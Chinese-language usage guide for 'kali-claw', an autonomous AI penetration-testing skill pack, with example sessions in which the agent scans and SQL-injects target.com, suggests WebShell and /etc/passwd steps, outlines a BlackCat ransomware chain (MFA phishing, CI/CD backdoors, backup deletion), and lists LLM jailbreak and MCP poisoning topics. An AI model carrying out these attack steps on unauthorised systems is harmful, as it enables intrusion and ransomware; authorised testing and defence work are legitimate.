    cloud-native-vuln-researchCVE 方法论、PoC 复现、nuclei 模板
    secret-management-attackgitleaks/semgrep/trufflehog、Vault/CI-CD/registry 利用

    密码学与新兴技术

    技能域说明
    crypto-attacks弱算法、Padding Oracle、TLS 问题、后量子迁移、KyberSlash
    quantum-crypto-attackNIST PQC、混合 TLS、QKD/BB84、SM2/3/4 国密
    blockchain-web3智能合约审计、DeFi 重入、跨链桥、MEV、ERC-777
    llm-red-team / ai-security / ai-agent-securityLLM 越狱（GCG/AutoDAN/Crescendo）、MCP 投毒、RAG 投毒
    agentic-pentestPentestGPT、HexStrike、多智能体团队协调

    移动 / 物联网 / 嵌入式 / 硬件

    技能域说明
    mobile-security / mobile-app-instrumentationiOS/Android、SSL Pinning 绕过、Frida/Objection/r2frida
    iot-pentestMQTT、CoAP、AMQP、IoT 云后端
    firmware-reverse / hardware-security固件提取、JTAG/UART、侧信道
    embedded-rtos-securityVxWorks / QNX / FreeRTOS / ThreadX / Zephyr
    bluetooth-rfid-nfcBLE GATT、MIFARE、NFC 克隆

    关键基础设施与物理

    技能域说明
    scada-ics-security / ics-fieldbus-attackModbus、S7comm、EtherNet/IP、OPC UA、Profibus、DNP3、IEC 61850
    storage-san-attackiSCSI/FC/NFSv4/SMB3/S3、NetApp/Dell EMC/QNAP/Synology/TrueNAS
    hypervisor-introspectionVMware ESXi / Hyper-V / KVM / Xen、LibVMI / DRAKVUF、VENOM
    satellite-leo-securityStarlink / Iridium / Viasat KA-SAT、DVB-S2 / VSAT、AcidRain
    sdr-rf-attack / hf-vhf-radio-attackADS-B、AIS、ACARS、POCSAG、APRS
    5g-telecom-attackPFCP、GTP、IMSI catchers、O-RAN
    automotive-vehicle-securityCAN/UDS、key fobs、EV charging
    uav-drone-securityMAVLink、PX4、GPS 欺骗、DroneID
    physical-security-testing锁具绕过、RFID 克隆、USB 武器（Ducky/Bunny）
    mainframe-securityz/OS / RACF / CICS / DB2 / JES2
    game-anticheat-bypassEAC / BattlEye / Vanguard / BYOVD

    防御 / 取证 / 元能力

    技能域说明
    digital-forensics / anti-forensics磁盘/内存/网络取证、反取证
    threat-hunting / detection-engineering假设驱动狩猎、Sigma/YARA、ATT&CK 检测工程
    deception-honeypotSSH/Web/ICS/AI 蜜罐、honeytoken
    pentest-reporting / article-writingDradis/Faraday、CVSS 评分、CVE 披露
    engagement-manager授权渗透全生命周期、范围管理、证据链
    security-review / repo-scanOWASP Top 10、源码审计、依赖扫描
    security-bounty-hunterBug Bounty、PoC 开发、负责任披露
    codebase-onboarding / knowledge-ops快速理解陌生代码库、知识图谱管理
    exa-search / deep-research / data-scraper-agent多源情报综合、CVE 抓取、语义搜索
    autonomous-loops / multi-agent-collaboration / council自主编排、多视角分析（攻击/防御/审计三方）
    safety-guard / terminal-ops / search-first / verification-loop安全守卫、终端操作、先搜索再利用、多阶段验证
    docker-patterns / continuous-learning / chronicle / tool-mastery / mcp-server-patterns实验室、持续学习、编年史、工具精通、MCP 集成

    技能结构 — 每个技能域包含以下文件（符合 Agent Skills Open Standard）：

    skills/web-sqli/
+-- SKILL.md          <-- 技能定义（含 YAML frontmatter）
+-- payloads.md       <-- 攻击载荷和命令
+-- test-cases.md     <-- 结构化测试用例
+-- guides/           <-- 深度学习材料（多个文件）

    SKILL.md 的渐进式披露（Progressive Disclosure） — 这是 Agent Skills 开放标准的核心设计：

    • Stage 1（广告） — YAML frontmatter + ## Summary —— 在技能扫描时加载
    • Stage 2（快速参考） — ## Core Tools + ## Methodology —— 在技能激活时加载
    • Stage 3（详细） — ## Practical Steps + ## Defense Perspective —— 在任务执行时加载

    这种设计让智能体在不需要时只看 frontmatter，需要时再逐层加载详细内容，节省 token 又保证深度。

    如何触发技能 — 不需要手动调用！用自然语言描述任务，智能体自动匹配技能：

    用户：帮我扫描 192.168.1.0/24 网段的开放端口

--> 智能体匹配到 network-pentest + terminal-ops 技能
--> 自动选择 nmap 作为工具
--> 执行扫描并分析结果
--> 给出端口/服务/潜在风险的报告

    ECC 编排模式简介 — 复杂任务时，智能体会组合多个技能，采用以下 6 种编排模式之一：

    1. Sequential Pipeline — 按顺序依次执行（侦察 -> 扫描 -> 利用 -> 后渗透）
    2. Watch Loop — 持续监控循环（等待特定条件触发）
    3. Batch Processing — 批量处理多个目标
    4. Learning Cycle — 学习-实践-验证循环
    5. Meta-Skill — 一个技能调用多个子技能
    6. Cross-cutting Interceptor — 贯穿全程的拦截器（如 safety-guard）

    4.2 记忆系统

    kali-claw 的记忆系统是 三层架构，从底层到顶层越来越精炼：

    第一层：每日日志 memory/YYYY-MM-DD.md

    • 记录每天做了什么、发现了什么、学了什么
    • 原始且详细，类似工作笔记
    • 自动创建，智能体每次会话都会写入

    第二层：月度编年史 chronicle/YYYY-MM/*.md

    • 从每日日志中提炼重要里程碑
    • 记录关键决策、突破性发现、重要的经验教训
    • 每月一个文件

    第三层：长期精炼知识 MEMORY.md（根目录）

    • 从所有记忆中提炼的核心知识
    • 记录工具偏好、方法论、关键决策、长期经验
    • 只在主会话中加载（群聊中不会泄露）

    自动蒸馏流程：

    每日日志 (memory/)
    |  定期提炼
    v
月度编年史 (chronicle/)
    |  进一步精炼
    v
长期记忆 (MEMORY.md)

    越往上越精炼，越往下越详细。

    如何查看记忆：

    • 直接打开文件查看（它们都是 Markdown 格式）
    • 或者问智能体："你记得我们上次做了什么吗？"
    • 智能体会自动读取记忆文件并回答

    4.3 心跳系统（HEARTBEAT.md）

    心跳是智能体的 自动维护机制，定期执行以下 4 类任务：

    优先级任务类型具体内容
    1（最高）安全检查检查 alerts.txt、验证核心文件完整性、检查敏感信息泄露
    2健康检查系统资源、配置文件完整性、备份时效性
    3学习进度学习进度追踪、推进下一个工具学习
    4知识维护清理旧日志、提炼知识到 MEMORY.md、更新技能文件

    执行规则：

    • 每次心跳只执行 1-2 项任务，轮换执行，避免过载
    • 结果记录在 memory/heartbeat-check-YYYYMMDDHHMM.md
    • 发现异常时立即记录到 memory/alerts.txt 并通知用户

    配套脚本 — validation/heartbeat.sh 提供命令行版的健康检查：

    bash validation/heartbeat.sh          # 一次检查
bash validation/heartbeat.sh --fix    # 检查并尝试自动修复
bash validation/heartbeat.sh --json   # JSON 输出（适合接入监控）

    如何自定义心跳 — 编辑 HEARTBEAT.md：

    • 调整检查频率：修改执行规则
    • 添加新的检查项：在对应分类下添加
    • 修改优先级：调整任务顺序

    4.4 工具知识库（TOOLS.md）

    TOOLS.md 是智能体的 工具能力清单：

    • 518 个 Kali 工具按 65+ 个类别追踪
    • 每个工具记录：掌握状态、学习笔记、使用经验
    • 智能体通过 TOOLS.md 了解自己会什么、还不会什么

    工具状态：

    状态含义
    已掌握熟练使用，可作为主力工具
    学习中正在学习，基本功能可用
    待学习尚未开始学习

    如何添加新工具 — 在 TOOLS.md 的 Category Index 表格中添加一行：

    | My Custom Tools | 2 | Learning | Custom Python scripts for recon |

    4.5 质量评分体系（SCORE.sh v2）

    这是 v0.1.11 引入、v0.1.16 升级到 v2 的核心子系统，让"技能是否够好"变成客观可量化的指标。

    4 个加权组件：

    组件权重评分来源含义
    SKILL.md15%## 标题数量结构深度
    payloads.md30%词数 + 段落数 + 代码块数（取平均）攻击载荷全面性
    test-cases.md30%测试用例数 + 字段完整度（取平均）测试可执行性
    guides/25%文件数（40%）+ 平均词数（30%）+ 关键段落（30%）深度材料

    5 级分层（v2 引入 Distinguished）：

    等级分数v0.1.39 数量
    Distinguished92 - 10033
    Excellent80 - 91.978
    Strong60 - 79.90
    Adequate40 - 59.90
    Weak0 - 39.90

    运行评分：

    bash validation/SCORE.sh                # 全量评分 137 个技能
bash validation/SCORE.sh --skill web-sqli  # 单技能评分

    结果写入 validation/evidence/quality-scores/<skill>.json，每个 JSON 包含组件明细分。

    典型用途：

    • 改造完一个技能后跑分，确认提升幅度
    • 找出最低分技能，确定补强优先级
    • 在 PR 中附上分数变化作为客观证据

    详细方法论见 validation/SCORING-METHODOLOGY.md。

    4.6 自动化与编排脚本（validation/）

    validation/ 目录是 kali-claw 的"工具箱"——10+ 个 Bash 脚本覆盖运维、编排、报告全流程：

    脚本作用常用参数
    heartbeat.sh工作空间健康检查--fix --json
    auto-backup.sh备份轮换--restore --keep N
    drift-detect.sh配置漂移检测--create-baseline --update-baseline
    scenario-runner.sh跨技能场景执行--resume --dry-run
    orchestrator.sh端到端渗透测试工作流--target --phase --resume
    tool-selector.sh目标 → 工具智能映射--target-type --phase --stealth
    report-generator.sh自动生成渗透测试报告--source --format
    SCORE.sh质量评分引擎（见 4.5）--skill <name>
    update-skill-standard.pySKILL.md 对齐 Agent Skills 标准--dry-run --skill <name>

    典型端到端示例（编排脚本）：

    # 自动跑完侦察 → 扫描 → 利用 → 后渗透 → 报告
bash validation/orchestrator.sh --target 10.10.10.10 --phase full

# 中断后续跑
bash validation/orchestrator.sh --target 10.10.10.10 --resume

    授权渗透模板 — validation/engagement-template/ 提供：

    • targets.json.example — 目标范围配置模板
    • scope-rules.json.example — 范围规则与安全约束
    • report-template.md — 标准渗透报告模板

    4.7 Engagement 工作流

    engagement-manager 技能 + validation/engagement-template/ 一起，提供完整的 授权渗透测试生命周期管理：

    1. 范围确认（scope-rules.json）     --> 明确能打什么、不能打什么
2. 目标登记（targets.json）         --> 列出 IP/域名/资产
3. 侦察 + 扫描                       --> recon-osint + network-pentest
4. 漏洞利用                          --> 对应攻击技能（web-sqli / ad-cs-abuse 等）
5. 后渗透                            --> post-exploitation + privilege-escalation
6. 证据收集                          --> pentest-reporting + 截图/日志
7. 报告生成                          --> report-generator.sh
8. 复盘                              --> 写入 chronicle/ + MEMORY.md

    每一步都会写入 memory/YYYY-MM-DD.md，重要的里程碑提炼到 chronicle/，长期决策进入 MEMORY.md。

    五、使用场景示例

    5.1 渗透测试全流程

    以下是一个完整的渗透测试对话示例，展示 kali-claw 在每个阶段的作用：

    第一阶段：侦察

    用户：帮我收集 target.com 的信息，包括子域名、DNS 记录和技术栈

智能体：好的，我来对 target.com 进行全面的侦察。我会使用以下方法：
1. DNS 记录查询（dig）
2. 子域名枚举（sublist3r + assetfinder）
3. Web 技术指纹识别（whatweb）
4. WHOIS 信息查询

执行中...

[结果汇总]
- 主域名: target.com -> 93.184.216.34
- 子域名: 发现 12 个活跃子域名
  - api.target.com (REST API)
  - admin.target.com (登录页面)
  - dev.target.com (开发环境)
- 技术栈: Nginx 1.18, PHP 7.4, MySQL
- DNS: 使用 Cloudflare CDN

建议下一步: 对发现的子域名进行端口扫描

    第二阶段：扫描

    用户：扫描所有发现的子域名，重点看 admin.target.com

智能体：使用 nmap 对 admin.target.com 进行全端口扫描和服务识别：

nmap -sV -sC -p- admin.target.com

[扫描结果]
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 8.2
80/tcp   open   http       Nginx 1.18.0
443/tcp  open   ssl/http   Nginx 1.18.0
3306/tcp closed mysql
8080/tcp open   http-proxy PHP-FPM 7.4

发现: 8080 端口运行 PHP-FPM，可能存在未授权访问。
建议: 对 admin.target.com:8080 进行目录扫描和漏洞探测。

    第三阶段：漏洞利用

    用户：admin.target.com:8080 有一个登录页面，帮我测试一下有没有 SQL 注入

智能体：对登录页面进行 SQL 注入测试。

步骤 1: 识别注入点 -- 测试用户名和密码字段
步骤 2: 使用 sqlmap 进行自动化检测
步骤 3: 尝试 Union-based 和 Blind-based 注入

sqlmap -u "http://admin.target.com:8080/login" \
  --data="username=admin&password=test" \
  --method POST --level 3 --risk 2

[结果]
发现 SQL 注入漏洞！
- 注入点: username 参数
- 类型: Boolean-based blind SQL injection
- 数据库: MySQL 5.7
- 当前用户: root@localhost

安全提醒: 这是授权测试范围内的操作。建议立即记录并报告此漏洞。

    第四阶段：后渗透

    用户：拿到了数据库访问权限，接下来怎么做？

智能体：获得数据库访问后，建议按以下步骤进行后渗透评估：

1. 信息收集（在数据库内）:
   - 列出所有数据库和表
   - 查找敏感数据（用户表、配置表）
   - 检查数据库用户权限

2. 提权评估:
   - 检查 FILE 权限（可能读写系统文件）
   - 尝试通过 UDF 执行系统命令

3. 持久化评估:
   - 记录所有发现的攻击路径
   - 评估每条路径的检测难度

注意: 所有操作仅用于评估和报告目的。

    第五阶段：报告

    用户：帮我整理今天的发现，生成一份渗透测试报告

智能体：根据今天的测试活动，生成以下报告结构：

## 渗透测试报告 -- target.com

### 1. 执行摘要
- 测试日期: 2026-05-18
- 目标范围: target.com 及子域名
- 总体风险等级: 高危

### 2. 发现摘要
| # | 漏洞 | 严重程度 | 影响 |
|---|------|---------|------|
| 1 | SQL 注入 (admin.target.com) | 严重 | 数据库完全控制 |
| 2 | 开发环境暴露 (dev.target.com) | 中 | 信息泄露 |
| 3 | 8080 端口未限制访问 | 中 | 攻击面扩大 |

### 3. 详细发现
[每个漏洞的详细描述、复现步骤、修复建议]

### 4. 修复建议（按优先级）
1. 立即修复 SQL 注入 -- 使用参数化查询
2. 关闭 dev 环境的公网访问
3. 限制 8080 端口仅内网访问

    5.2 安全审计

    用户：帮我审计这个 Web 应用的安全性，URL 是 http://testphp.vulnweb.com

智能体：我来按照 OWASP Top 10 对这个应用进行系统性安全审计。

审计范围:
A01 - Broken Access Control
A02 - Cryptographic Failures
A03 - Injection
A04 - Insecure Design
A05 - Security Misconfiguration
A06 - Vulnerable Components
A07 - Auth Failures
A08 - Data Integrity Failures
A09 - Logging/Monitoring Failures
A10 - SSRF

[逐项检查...]

审计结果:
- A03 Injection: 发现 SQL 注入和 XSS 漏洞
- A05 Security Misconfiguration: 默认配置未修改，错误信息暴露堆栈
- A07 Auth Failures: 登录无速率限制，可暴力破解
- A01 Access Control: 存在 IDOR，可越权访问其他用户数据

总体评分: 高风险
建议优先修复 Injection 和 Access Control 问题。

    5.3 学习与研究

    用户：我想学习 SQL 注入，从哪里开始？

智能体：我来帮你制定 SQL 注入的学习路径。

第一步: 理论基础
- SQL 注入原理: 用户输入被直接拼接到 SQL 查询中
- 注入类型: Union-based / Boolean-blind / Time-blind / Error-based

第二步: 搭建练习环境
我来帮你用 Docker 启动一个 sqli-labs 靶场：

docker run -d -p 80:80 acgpiano/sqli-labs

第三步: 从最简单的开始
- Less-1: 基于 Union 的字符型注入（入门）
- Less-5: 基于 Boolean 的盲注（进阶）
- Less-15: 基于时间的盲注（高级）

每个关卡我会解释原理、给出提示、然后让你自己尝试。

准备好了吗？我们先从 Less-1 开始。

    5.4 团队协作

    Council 多视角分析 — 让智能体从不同角色分析同一个安全问题：

    用户：用 council 模式分析一下 admin.target.com 的 SQL 注入漏洞

智能体：启动 Council 多视角分析：

[攻击者视角]
- 可以利用 SQL 注入获取数据库完整控制
- 通过 FILE 权限可能实现 RCE
- 建议测试: 写入 WebShell、读取 /etc/passwd

[防御者视角]
- 根本原因: 未使用参数化查询
- 修复方案: 使用预处理语句 + WAF 规则
- 检测方案: 监控异常 SQL 查询模式

[审计者视角]
- CVSS 评分: 9.8 (Critical)
- 合规影响: 违反 OWASP A03、PCI-DSS 6.5
- 报告建议: 需要书面记录完整攻击链

综合建议: 立即修复，同时检查其他页面是否存在同类问题。

    5.5 现代企业攻击链（v0.1.39 新增能力示例）

    v0.1.39 补齐了 PAM、CI/CD、CSPM/CASB、SASE/SSE 4 个现代企业安全栈领域，现在可以推演完整的勒索家族攻击链：

    用户：用 kali-claw 推演一下 BlackCat 勒索从初始访问到加密的完整攻击链

智能体：基于 Mandiant 2023 + CrowdStrike 2024 报告，BlackCat 的典型路径如下：

阶段 1: 初始访问（sase-sse-attack / email-security-deep）
- 绕过 Zscaler ZIA 出口检查，钓鱼邮件落地
- AiTM 钓鱼（evilginx2）窃取 MFA 凭据

阶段 2: 身份渗透（cloud-identity-attack）
- Entra ID PRT 盗窃 → Conditional Access 绕过
- 通过 ROADtools 拿到合法 refresh token

阶段 3: 凭据中枢（pam-privilege-attack）
- 用窃取的凭据登录 CyberArk PVWA
- 利用 CVE-2025-32564 认证绕过，提权到 Vault Admin
- 从 .cue cred file 还原明文密码 → 拿下所有域管理员账号

阶段 4: 横向移动（ad-cs-abuse / ad-ldap-attack）
- ESC1 滥用 → 申请 Domain Controller 证书
- Pass-the-Hash + Kerberoasting 横向到所有域控

阶段 5: 持久化（ci-cd-supply-chain-attack）
- 在 Jenkins 共享库植入后门
- 修改 GitHub Actions workflow 窃取所有 secrets
- 用依赖混淆植入恶意 npm 包

阶段 6: 防御规避（cspm-casb-attack）
- 篡改 Terraform state 让 Wiz 图谱看不到真实配置
- 用 OPA Rego 大小写陷阱绕过 Kyverno 策略

阶段 7: 数据外发 + 加密部署（storage-san-attack）
- 通过 NetApp NDMP 快照窃取
- 用窃取的凭据登录 Dell EMC Unity 删除备份
- 部署 BlackCat 加密器

每一步对应 kali-claw 中的一个技能域，可以在 skills/<域>/payloads.md 找到具体 TTP 和命令。

    六、进阶配置

    6.1 MCP 工具集成

    MCP（Model Context Protocol） 是一种让 AI 智能体调用外部工具的标准协议。kali-claw 包含 mcp-server-patterns 技能，可以帮你将 Kali 工具包装为 MCP 服务器。

    示例：将 nmap 包装为 MCP 工具

    1. 智能体读取 skills/mcp-server-patterns/SKILL.md 了解 MCP 服务器设计模式
    2. 按照模式创建 nmap 的 MCP 服务器包装
    3. 配置后，智能体可以直接通过 MCP 调用 nmap，而不需要通过终端命令

    适用场景：

    • 需要频繁调用特定工具时
    • 需要将工具能力暴露给其他智能体时
    • 需要对工具调用进行标准化管理时

    6.2 自定义技能

    按照以下步骤创建新的技能域（符合 Agent Skills Open Standard）：

    第一步：创建目录

    mkdir -p ~/.openclaw/workspace-kali-claw/skills/my-custom-skill/guides

    第二步：编写 SKILL.md（含 YAML frontmatter）

    ---
name: my-custom-skill
description: Brief one-line description for skill matching
compatibility: >= 0.1.39
allowed-tools:
  - Bash
  - Read
  - Write
metadata:
  category: custom
  domain: reconnaissance
  mitre:
    - T1595 Active Scanning
  tools:
    - nmap
    - masscan
---

# my-custom-skill

## Summary
[一句话总结这个技能解决什么问题]

## Description
[详细描述这个技能是什么、做什么]

## Use Cases
- 用例 1: ...
- 用例 2: ...

## Core Tools
- tool1: 用途说明
- tool2: 用途说明

## Methodology
1. 步骤一
2. 步骤二
3. 步骤三

## Practical Steps
[详细可执行步骤]

## Defense Perspective
[蓝队如何检测与防御]

## Orchestration
[与其他技能如何配合]

    第三步：编写 payloads.md

    # Payloads - my-custom-skill

## Type 1: 场景 A
命令/载荷示例...

## Type 2: 场景 B
命令/载荷示例...

    第四步：编写 test-cases.md

    # Test Cases - my-custom-skill

## TC-001: 测试场景名称
- **Target**: 测试目标
- **Steps**:
  1. 步骤一
  2. 步骤二
- **Expected**: 预期结果
- **Actual**: [待填写]
- **Status**: [Pass/Fail]

    第五步（推荐）：创建 guides/ 目录

    mkdir -p ~/.openclaw/workspace-kali-claw/skills/my-custom-skill/guides
# 在 guides/ 中放入深度学习材料（建议 1-3 个文件）

    第六步：用标准对齐脚本生成 frontmatter（可选）

    python3 validation/update-skill-standard.py --skill my-custom-skill --dry-run
# 检查无误后去掉 --dry-run 实际写入

    第七步：在 IDENTITY.md 添加技能标签

    | My Custom Skill | 自定义能力描述 | First Principles |

    第八步：在 TOOLS.md 添加相关工具

    | My Custom Tools | 3 | Learning | Custom scripts and utilities |

    第九步：跑分验证

    bash validation/SCORE.sh --skill my-custom-skill
# 目标：至少达到 Excellent (80+)，理想是 Distinguished (92+)

    6.3 自定义行为

    修改 12 条黑客法则（SOUL.md）：

    你可以根据需要增删改法则。例如添加一条新法则：

    ### 13. Document Everything
Every finding must be recorded with evidence. If it's not documented, it didn't happen.

    调整心跳任务（HEARTBEAT.md）：

    在对应的分类下添加新的检查项：

    ## Security Check
- [ ] Check memory/alerts.txt for new security alerts
- [ ] Verify core files haven't been tampered with
- [ ] 新增：检查 Docker 容器安全状态

    修改会话启动流程（AGENTS.md）：

    在 "Every Session" 部分添加新的启动步骤：

    ## Every Session
1. Read SOUL.md
2. Read USER.md
3. Read memory/YYYY-MM-DD.md
4. Read MEMORY.md
5. 新增：Read TOOLS.md（检查工具学习进度）

    七、版本演进与里程碑

    7.1 主要版本回顾

    kali-claw 采用"扩面 ↔ 质量"交替迭代的节奏，每个版本都有明确主题：

    阶段版本关键里程碑
    基础建设v0.1.1 - v0.1.745 → 137 个技能域，建立分层架构
    全量丰富v0.1.8 - v0.1.1049/49 全部 FULL enrichment，集成测试 7/7 PASS
    质量评分引入v0.1.11 - v0.1.14SCORE.sh v1，49/49 Excellent 100%
    质量评分 v2v0.1.15 - v0.1.17Distinguished 等级引入，TEMPLATE.md
    领域扩面 1v0.1.18 - v0.1.2149 → 70 技能域（exploit-dev / privesc / payload-gen / AV-EDR / DNS / XXE / LFI / CMS / stego / bluetooth / firmware / SCADA / DB / VoIP / anti-forensics / AD-LDAP / web-deserialization / email）
    Distinguished 冲刺v0.1.22 - v0.1.275 → 17 Distinguished
    领域扩面 2v0.1.28 - v0.1.3170 → 91 技能域（darkweb / threat-hunting / blockchain / payment / llm-red-team / honeypot / k8s / secret-mgmt / ai-agent / iot / detection-eng / agentic-pentest / cloud-identity / physical / quantum / email-deep）
    100% Excellent+v0.1.3291/91 全部 Excellent+，零 Strong
    GitHub Trending 扩面v0.1.33 - v0.1.3591 → 103（5G / automotive / mobile-deep / cloud-native-vuln / macOS / UAV / game-anticheat / mainframe / ICS-fieldbus / HF/VHF / blockchain-L2 / RTOS）
    质量提升 E 计划v0.1.3619 → 28 Distinguished（+9）
    Wave 7 扩面v0.1.37103 → 107（storage-SAN / hypervisor / satellite-LEO / AD CS）
    E 计划再发力v0.1.3828 → 32 Distinguished，首次破 30，最低分 85.1（质量债务清零）
    Wave 8 扩面（当前）v0.1.39107 → 111（CI/CD 供应链 / PAM / CSPM-CASB / SASE-SSE），首次出现"新技能基线即 Distinguished"（pam-privilege-attack 92.0）

    7.2 当前质量快照（v0.1.39）

    等级数量代表技能
    Distinguished (92+)33secret-management-attack (94.6) · social-intelligence (93.8) · sdr-rf-attack (93.6) · article-writing (93.6) · deep-research (93.5) · payload-generation (93.1) · scada-ics-security (93.0) · ad-cs-abuse (93.0) · vulnerability-assessment (93.0) · 5g-telecom-attack (92.7) · embedded-rtos-security (92.7) · agentic-pentest (92.6) · autonomous-loops (92.6) · verification-loop (92.6) · quantum-crypto-attack (92.5) · osint (92.5) · vpn-attack (92.5) · ai-security (92.3) · council (92.3) · network-tunneling-proxy (92.3) · crypto-attacks (92.2) · macos-security (92.2) · username-profiling (92.2) · web-deserialization (92.2) · cloud-security (92.1) · hf-vhf-radio-attack (92.1) · email-security-deep (92.0) · network-pentest (92.0) · security-bounty-hunter (92.0) · pam-privilege-attack (92.0) · security-misconfiguration (92.8) · container-security (92.8) · web-xss (92.0)
    Excellent (80-91.9)78storage-san-attack (91.5) · dns-attacks (91.1) · kubernetes-attack (90.2) · blockchain-web3 (90.2) · cloud-identity-attack (89.0) · ci-cd-supply-chain-attack (89.2) · cspm-casb-attack (88.5) · sase-sse-attack (88.2) · ...
    Strong (60-80)0—
    Adequate (40-60)0—
    Weak (0-40)0—

    平均分：88.78 | 137/137 Excellent+（100%） | 33 Distinguished

    7.3 下一版本（v0.1.40）方向

    按"扩面 ↔ 质量"交替节奏，v0.1.40 很可能回到 质量提升路线，候选方向：

    • A 轨 Distinguished 冲刺 — 还有 7 个技能卡在 89-91.9（storage-san-attack 91.5、dns-attacks 91.1、blockchain-web3 90.2、kubernetes-attack 90.2、darkweb-intel 89.2、av-edr-evasion 89.1、cloud-identity-attack 89.0），每个加 1 个 guide 大多能进 92+
    • 底部提升 — 5 个技能卡在 85-86（chronicle 85.1、cloud-native-vuln-research 85.2、email-protocol-attack 85.2、game-anticheat-bypass 85.2、multi-agent-collaboration 85.4），拉到 88+ 让最低分再上一台阶
    • Wave 8 cohort 深化 — 给 ci-cd-supply-chain-attack、cspm-casb-attack、sase-sse-attack 各加第 2 个 guide
    • 扩面第 9 波 — 候选方向包括 GitOps 安全、QKD 攻击、Open Banking/PSD2、HSM 攻击、CPS 网络物理系统

    八、常见问题（FAQ）

    Q1: npm install -g openclaw 报权限错误

    症状：EACCES: permission denied

    原因：npm 全局安装目录需要 root 权限

    解决：

    # 方案一：使用 sudo
sudo npm install -g openclaw@latest

# 方案二（推荐）：修改 npm 全局路径
mkdir ~/.npm-global
npm config set prefix '~/.npm-global'
echo 'export PATH=~/.npm-global/bin:$PATH' >> ~/.bashrc
source ~/.bashrc
npm install -g openclaw@latest

    Q2: openclaw gateway start 连接失败

    症状：Connection refused 或 ECONNREFUSED

    排查步骤：

    # 1. 检查 Node.js 版本
node --version  # 需要 >= 18

# 2. 检查端口是否被占用
lsof -i :3000  # 或 netstat -tlnp | grep 3000

# 3. 检查防火墙
sudo ufw status
# 如果启用了防火墙，放行端口：
sudo ufw allow 3000

# 4. 尝试指定端口启动
openclaw gateway start --port 8080

    Q3: 智能体说找不到 nmap/sqlmap 等工具

    症状：智能体报错 command not found: nmap

    排查步骤：

    # 1. 确认工具已安装
which nmap
nmap --version

# 2. 如果未安装
sudo apt update && sudo apt install -y nmap

# 3. 如果使用远程 Kali，测试 SSH 连接
ssh user@kali-host "which nmap"
# 如果连接失败，检查 SSH 密钥配置

# 4. 如果使用 Docker，进入容器安装
docker exec -it kali-claw-env bash -c "apt install -y nmap"

    Q4: 技能没有被触发

    症状：智能体没有使用正确的技能来处理任务

    解决方案：

    • 使用更明确的指令，比如 "用 SQL 注入测试这个登录页面" 而不是 "看看这个页面安全吗"
    • 在指令中直接提到技能名称，比如 "用 web-sqli 技能测试..."
    • 检查 IDENTITY.md 中是否包含对应的技能标签
    • 检查 SKILL.md frontmatter 的 description 字段是否清晰（这是技能匹配的关键）

    Q5: 记忆丢失了

    症状：智能体不记得之前的对话内容

    排查：

    # 1. 检查 memory/ 目录是否有日志文件
ls -la ~/.openclaw/workspace-kali-claw/memory/

# 2. 检查 MEMORY.md 是否存在
cat ~/.openclaw/workspace-kali-claw/MEMORY.md

# 3. 检查文件权限
chmod 644 ~/.openclaw/workspace-kali-claw/memory/*.md

    注意：每次新会话智能体会重新加载记忆文件。如果文件在，记忆就在。

    Q6: 如何重置智能体（清空所有记忆）

    cd ~/.openclaw/workspace-kali-claw/

# 清空每日记忆
rm -f memory/*.md memory/alerts.txt

# 清空编年史
rm -rf chronicle/

# 清空长期记忆
echo "# MEMORY.md - Long-term Distilled Knowledge" > MEMORY.md

    智能体的人格和技能不受影响，只清除记忆数据。

    Q7: 如何更新到最新版本

    cd ~/.openclaw/workspace-kali-claw/

# 拉取最新代码（会获取新的技能和配置更新）
git pull origin main

# 注意：这不会覆盖你的 USER.md 修改
# 如果有冲突，手动解决即可

# 拉取后跑一次质量评分，确认所有技能到位
bash validation/SCORE.sh

    Q8: 可以在非 Kali 系统上用吗

    可以，但安全工具的执行需要以下方案之一：

    • SSH 远程：OpenClaw 在 Mac/Windows 上，通过 SSH 连接远程 Kali（推荐）
    • Docker：在非 Kali 系统上运行 Kali Docker 容器
    • WSL：Windows 上使用 WSL 安装 Kali

    智能体的知识库（技能、方法论、攻击载荷）在任何系统上都能使用。只是执行具体工具时需要 Kali 环境。

    Q9: 如何贡献新技能或改进

    1. Fork 仓库，创建特性分支
    2. 按"6.2 自定义技能"流程创建技能域
    3. 运行 bash validation/SCORE.sh --skill <你的技能>，确保达到 Excellent (80+)
    4. 提交 PR，附上分数证据和 1-2 个真实场景测试结果

    PR 模板参见仓库根目录的 README.md。

    Q10: 如何知道哪些技能最强 / 最需要改进

    # 查看所有技能分数（从高到低）
cat validation/QUALITY-SCORE-TRACKER.md

# 或检查单个技能
cat validation/evidence/quality-scores/<skill-name>.json

    JSON 中包含 4 个组件的明细分（skill_md / payloads_md / test_cases_md / guides），让你能精确看到短板在哪。

    九、核心文件参考

    文件作用何时修改
    SOUL.md智能体人格、12 条黑客法则、行为准则自定义人格 / 增删法则
    AGENTS.md工作空间配置、会话启动流程调整智能体名称 / 修改启动流程
    IDENTITY.md技能标签表（111 行）、性格特质添加/删除技能域
    USER.md用户信息、偏好、当前关注点首次配置 / 信息变更
    MEMORY.md长期精炼知识、关键决策一般不手动修改
    TOOLS.md518 工具的学习进度和笔记添加新工具 / 更新进度
    HEARTBEAT.md心跳自动化任务定义调整检查频率和内容
    CHANGELOG.md全部版本变更日志一般不手动修改
    skills/137 个技能域目录添加新技能 / 更新现有技能
    validation/自动化脚本套件（SCORE.sh、orchestrator.sh 等）调整评分权重 / 添加新场景
    validation/engagement-template/授权渗透模板（targets/scope/report）新增 engagement 类型
    memory/每日记忆日志（YYYY-MM-DD.md）一般不手动修改
    chronicle/月度里程碑记录一般不手动修改
    docs/长篇设计文档与规划重大架构变更时
    RELEASE-v0.1.X.md每个版本的发布公告一般不手动修改

    首次使用只需修改 4 个文件：USER.md、SOUL.md、IDENTITY.md、AGENTS.md（见第三章第 4 节）。

    其他文件是智能体自动维护的，通常不需要手动修改。

    Built with the OpenClaw Agent Framework. 当前版本 v0.1.39（137 个技能域、33 Distinguished）。如有问题，请在 GitHub Issues 中反馈。

  • kali-claw-pentest-agent/GUIDE-OPENCODE-en.mdmarkdown · 51.9 KB

    kali-claw Skill Pack Usage Guide: Running on OpenCode

    ⚠️ Update Notice (2026-08-08): This guide reflects kali-claw v0.2.4 (Phase 2 Track 1 Minor Release). Key changes since v0.2.1:

    • 139 skill domains (added in v0.2.4: eu-ai-act-compliance-redteam + ai-agent-supply-chain-attack)
    • All 139 SKILLs at v0.2.0.2 with complete Defense Triple (Defense Perspective + Detection Methods + Defense Evasion Techniques) — 100% coverage
    • skill-lint: 0 errors / 0 warnings, 139/139 clean pass (since v0.2.3)
    • MAJOR tool upgrades applied in v0.2.4 (frida 17 / hashcat 7 / docker 29 compatibility)
